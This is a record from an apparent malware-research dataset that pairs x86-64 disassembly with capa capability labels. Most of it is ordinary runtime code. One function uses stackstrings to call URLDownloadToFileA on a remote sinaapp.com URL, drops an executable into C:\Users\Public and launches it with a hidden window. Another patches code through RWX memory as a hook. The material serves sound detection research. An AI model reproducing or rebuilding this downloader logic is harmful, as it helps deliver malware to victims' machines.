joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021b6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov rax, qword [rbp + 0x10]
test eax, eax
jne 0x4021dc
mov eax, 0
jmp 0x402304
mov word [rbp - 0xa], 0xe9
mov eax, dword [rbp + 0x20]
add eax, 5
cdqe
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x40221c
mov eax, 0
jmp 0x402304
mov eax, dword [rbp + 0x20]
movsxd rdx, eax
mov rax, qword [rbp - 8]
mov r8, rdx
mov rdx, qword [rbp + 0x10]
mov rcx, rax
call sym.memcpy
mov eax, dword [rbp + 0x20]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rdx, rax
movzx eax, byte [rbp - 0xa]
mov byte [rdx], al
mov rax, qword [rbp + 0x10]
mov edx, eax
mov rax, qword [rbp - 8]
mov ecx, eax
mov eax, dword [rbp + 0x20]
add eax, ecx
sub edx, eax
mov eax, edx
mov dword [rbp - 0x10], eax
mov rax, qword [rbp + 0x18]
mov edx, eax
mov rax, qword [rbp + 0x10]
sub edx, eax
mov eax, edx
sub eax, 5
mov dword [rbp - 0x14], eax
mov dword [rbp - 0x18], 0
mov eax, dword [rbp + 0x20]
add eax, 5
cdqe
lea rdx, [rbp - 0x18]
mov r9, rdx
mov r8d, 4
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
je 0x4022ff
mov eax, dword [rbp + 0x20]
cdqe
lea rdx, [rax + 1]
mov rax, qword [rbp - 8]
add rdx, rax
mov eax, dword [rbp - 0x10]
mov dword [rdx], eax
movzx edx, byte [rbp - 0xa]
mov rax, qword [rbp + 0x10]
mov byte [rax], dl
mov rax, qword [rbp + 0x10]
lea rdx, [rax + 1]
mov eax, dword [rbp - 0x14]
mov dword [rdx], eax
mov eax, dword [rbp + 0x20]
add eax, 5
cdqe
lea rdx, [rbp - 0x18]
mov r9, rdx
mov r8d, 0x20
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
je 0x4022ff
mov rax, qword [rbp - 8]
jmp 0x402304
mov eax, 0
add rsp, 0x40
pop rbp
ret
Function at 0x4029a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402b28
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x4029ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402a75
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x4029d0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x402b5d
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402b40
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x402a6e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402ad0
add dword [0x00408624], 1
cmp edi, 8
jae 0x402aa3
test dil, 4
jne 0x402b14
test edi, edi
je 0x402a98
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x402b2f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402a98
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x402abc
jmp 0x402a98
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402a6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402a98
xor esi, esi
jmp 0x4029f7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402a98
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4032b0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x403304
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4032fb
test rsi, rsi
je 0x4032fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4032e0
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x403540
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x403550
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x403560
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4035a1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x403598
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4035a3
add rax, 0x28
cmp rax, r9
jne 0x403584
xor eax, eax
ret

Function at 0x403640
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405480]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4036ad
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4036ad
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4036ad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4036a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4036af
add rax, 0x28
cmp rax, r9
jne 0x403690
xor eax, eax
add rsp, 0x28
ret

Function at 0x4037b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405480]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x4037d0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4037c8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40382d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403824
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403834
add rax, 0x28
cmp rax, r9
jne 0x403810
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403850
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00405480]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x4038be
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4038be
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x4038be
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x4038be
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x4038b5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x4038c5
add rcx, 0x28
cmp rcx, rax
jne 0x4038a0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x4038d8
jmp 0x4038be
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x4038e6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x4038be
test r9d, r9d
jg 0x4038d0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x403ba0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001bd4
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140037060]
xor rax, rsp
mov qword [rbp + 0x58], rax
movdqa xmm0, xmmword [0x140032670]
lea rcx, [rbp - 0x20]
movdqa xmm1, xmmword [0x1400326a0]
movdqu xmmword [rbp + 0x10], xmm0
mov dword [rbp + 0x30], 0x6f6c6e77
movdqa xmm0, xmmword [str.C:_Users_Public_C:_Windows_Systehttps:__mysrc.siNtQueryInformatiURLDownloadToFilnaapp.com_att_do]
movdqu xmmword [rbp - 0x10], xmm0
mov dword [rbp + 0x34], 0x3f2f6461
movdqu xmmword [rbp + 0x20], xmm1
mov dword [rbp + 0x38], 0x323d6469
mov word [rbp + 0x3c], 0x3033
mov byte [rbp + 0x3e], 0x33
mov dword [rbp], 0x5f706774
mov dword [rbp + 4], 0x6d656164
mov dword [rbp + 8], 0x652e6e6f
mov word [rbp + 0xc], 0x6578
mov dword [rbp - 0x20], 0x6d6c7275
mov dword [rbp - 0x1c], 0x642e6e6f
mov word [rbp - 0x18], 0x6c6c
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001cbe
movdqa xmm0, xmmword [0x140032690]
lea rdx, [rbp + 0x40]
mov rcx, rax
mov word [rbp + 0x50], 0x4165
movdqu xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001cbe
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x10]
xor r9d, r9d
lea rdx, [rbp + 0x10]
xor ecx, ecx
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov dword [rsp + 0x70], 0x68
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.140008770
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp - 0x10]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rsp + 0x50]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.140006470
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rbp
ret
Function at 0x14000328c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400032b1
xor eax, eax
jmp 0x1400033ae
cmp qword [rcx + 0x68], 0
je 0x1400032c2
call fcn.140003b0c
jmp 0x1400033ae
mov rax, qword [rcx + 0x38]
mov rbp, rdi
mov rdx, qword [rax]
test rdx, rdx
je 0x1400032d9
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400032db
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003310
cmp rax, rdi
mov rbx, rdi
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400080a0
mov rax, qword [rsi + 0x50]
sub rbp, rbx
add r14, rbx
mov r8, rbp
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400033a8
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x14000334b
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov r15d, 0xfff
mov rbx, r8
cmp r8, r15
jbe 0x140003383
mov r9, qword [rsi + 0x80]
mov r8, r15
mov edx, 1
mov rcx, r14
call fcn.14000e3dc
sub rbp, rax
add r14, rax
mov rbx, rbp
cmp rax, r15
jne 0x1400033bf
cmp rbp, r15
ja 0x140003359
mov r8, rbx
test rbx, rbx
je 0x1400033a8
mov r9, qword [rsi + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, r14
call fcn.14000e3dc
mov r8, rbx
sub r8, rax
sub rdi, r8
mov rax, rdi
mov rbx, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
sub rdi, rbp
jmp 0x1400033ab
Function at 0x140003790
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140037060]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x1400037c9
xor eax, eax
jmp 0x1400038eb
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x140003803
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x140003803
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x1400038eb
cmp qword [rbx + 0x80], 0
je 0x1400038e9
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000383e
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003861
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.14000c5d8
cmp eax, edi
cmovne edi, esi
jmp 0x1400038e9
lea r8, [rbp - 0x40]
mov byte [rbp - 0x30], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x2f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp - 0x38]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x30]
call qword [rax + 0x38]
test eax, eax
je 0x1400038af
sub eax, 1
je 0x1400038af
cmp eax, 2
jne 0x1400038e9
movsx ecx, byte [rbp - 0x30]
jmp 0x14000384b
mov r14, qword [rbp - 0x40]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x1400038d9
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.14000d148
cmp r14, rax
jne 0x1400038e9
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x38], rax
mov eax, esi
jne 0x1400038eb
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140006470
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140004014
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140037060]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004083
cmp byte [rcx + 0x71], 0
je 0x140004083
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400040d7
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x14000409d
sub eax, 1
je 0x1400040a1
cmp eax, 2
jne 0x1400040d7
mov byte [rbx + 0x71], 0
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140006470
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400040ce
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call fcn.14000d148
cmp rdi, rax
jne 0x1400040d7
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140004085
xor al, al
jmp 0x140004085

Function at 0x140012e94
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012cc0
Function at 0x1400031d0
Capabilities:
Get process image filename

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x14005a060]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov edi, edx
test edx, edx
jne 0x14000322a
xor eax, eax
mov qword [0x140060c78], rax
movdqa xmm0, xmmword [0x140051f40]
movdqu xmmword [0x140060c88], xmm0
lea rax, [0x140060c78]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140019030
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
mov ecx, 0x10025
call fcn.140019084
test rax, rax
je 0x140003422
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rsp + 0x20], rcx
lea rbx, [rcx + 0xfffe]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, 0xfffe
call fcn.14001b8e0
mov qword [rsp + 0x28], rbx
mov r8d, edi
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400032df
mov qword [0x140060c78], rax
movdqa xmm0, xmmword [0x140051f40]
movdqu xmmword [0x140060c88], xmm0
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x140003208
mov rdx, qword [rsp + 0x30]
sub rdx, rcx
sar rdx, 1
add rdx, rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003418
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jmp 0x140003416
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
sub r8, rdx
sar r8, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
jne 0x140003329
xor eax, eax
mov qword [0x140060c78], rax
movdqa xmm0, xmmword [0x140051f40]
movdqu xmmword [0x140060c88], xmm0
cmp rbx, 0xffffffffffffffff
je 0x14000329b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000329b
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.140002e70
cmp byte [rsp + 0x58], 0
je 0x1400033b3
lea rdx, [rsp + 0x38]
lea rcx, [0x140060c78]
call fcn.140003980
cmp byte [rsp + 0x58], 0
je 0x140003315
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x140003399
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003394
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003422
call fcn.14001907c
movdqa xmm0, xmmword [0x140051f40]
movdqu xmmword [rsp + 0x48], xmm0
xor eax, eax
mov word [rsp + 0x38], ax
jmp 0x140003315
xor eax, eax
mov qword [0x140060c78], rax
movdqa xmm0, xmmword [0x140051f40]
movdqu xmmword [0x140060c88], xmm0
cmp rbx, 0xffffffffffffffff
je 0x1400033db
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x140003208
mov rdx, qword [rsp + 0x30]
sub rdx, rcx
sar rdx, 1
add rdx, rdx
mov r8, rcx
cmp rdx, 0x1000
jb 0x140003418
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x140003422
call fcn.14001907c
jmp 0x140003208
call fcn.14001f75c
int3
Function at 0x1400126c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
mov rbx, r8
je 0x140012761
test r8, r8
jle 0x140012759
mov rcx, rdi
call fcn.140009c30
test rax, rax
jle 0x140012730
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.14001b210
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x140012751
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
mov rax, qword [rax + 0x18]
call qword [0x1400423f8]
cmp eax, 0xffffffff
je 0x140012759
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x1400126f2
sub r14, rbx
mov rax, r14
jmp 0x1400127d5
mov rax, qword [rcx + 0x40]
mov r9, qword [rax]
test r9, r9
je 0x140012775
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140012777
xor ecx, ecx
movsxd rsi, ecx
test r14, r14
jle 0x1400127cf
test ecx, ecx
jle 0x1400127b0
cmp r14, rsi
mov rcx, r9
cmovl rsi, r14
mov r8, rsi
call fcn.14001b210
mov rax, qword [rdi + 0x58]
sub r14, rsi
add rbp, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
test r14, r14
jle 0x1400127cf
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400127cf
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.140025da0
sub r14, rax
sub rbx, r14
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400127f0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140012812
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x140012893
mov rdi, r14
mov rcx, rbx
call fcn.140009c50
test rax, rax
jle 0x140012864
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.14001b210
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140012883
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0x38]
call qword [0x1400423f8]
cmp eax, 0xffffffff
je 0x14001288b
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140012826
sub r14, rdi
jmp 0x140012988
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400128aa
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400128ac
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400128e1
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.14001b210
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140012985
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x14001291c
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140012960
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140026084
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x14001299e
cmp rbp, rax
ja 0x140012930
mov r8, rdi
test rdi, rdi
je 0x140012985
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140026084
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x140012988